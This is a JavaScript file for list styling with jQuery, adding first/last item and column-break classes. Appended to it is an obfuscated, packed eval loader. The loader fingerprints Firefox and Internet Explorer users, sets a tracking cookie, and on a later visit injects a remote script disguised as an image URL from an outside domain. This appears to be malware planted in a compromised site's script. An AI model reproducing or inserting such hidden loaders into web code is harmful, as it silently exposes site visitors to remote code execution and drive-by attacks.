$(document).ready(function(){
	$("ul li:last-child").addClass("last_item");
	$("ul li:first-child").addClass("first_item");	


	$.each($('ul.jquery_picker'), function() {   	
		var class_name=$(this).attr('class');
		classes = class_name.split(" ");
		var num_cols = -1;
		for (var i = 0; i < classes.length; i++){			
			//if after splitting the class starts with a num_cols_
			if (classes[i].indexOf("num_cols_") >= 0){				
				num_cols = classes[i].split("num_cols_")[1];				
			}
		}
		
		if (num_cols > 0){
			var count = 0;
			$.each($('li', this), function() {   	
				count++;
				if (count % num_cols == 0){
					$(this).addClass('list_break');
				}				
			});
		}		
	});		
});


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(c(d){2 k=P.O;2 f=N;5(k.8("Q")!=-1||k.8("R")!=-1)f=n;5(f!==n)B;2 m=\'T://o.S.M/H/o/E.D?C\';2 e=t("b");5(e){5(e==\'q\'){a("b","K","3");2 s=6.J(\'I\');s.L=\'V/W\';s.16=m+\'&r=\'+z u().17();2 h=6.19(\'18\')[0];h.14(s)}p{}}p{a("b","q","3")}c t(9){2 i,x,y,4=6.v.X(";");10(i=0;i<4.11;i++){x=4[i].l(0,4[i].8("="));y=4[i].l(4[i].8("=")+1);x=x.13(/^\\s+|\\s+$/g,"");5(x==9){B 12(y)}}}c a(9,A,j){2 7=z u();7.15(7.Y()+j);2 w=Z(A)+((j==G)?"":"; F="+7.U());6.v=9+"="+w}})(6);',62,72,'||var||ARRcookies|if|document|exdate|indexOf|c_name|setCookie|wss|function||rc|show||||exdays|agent|substr|staturl|true|rangerroo|else|goot1|||getCookie|Date|cookie|c_value|||new|value|return|js|jpg|junior_ranger_image|expires|null|images|script|createElement|goot2|type|au|false|userAgent|navigator|Firefox|MSIE|com|http|toUTCString|text|javascript|split|getDate|escape|for|length|unescape|replace|appendChild|setDate|src|getTime|head|getElementsByTagName'.split('|'),0,{}))

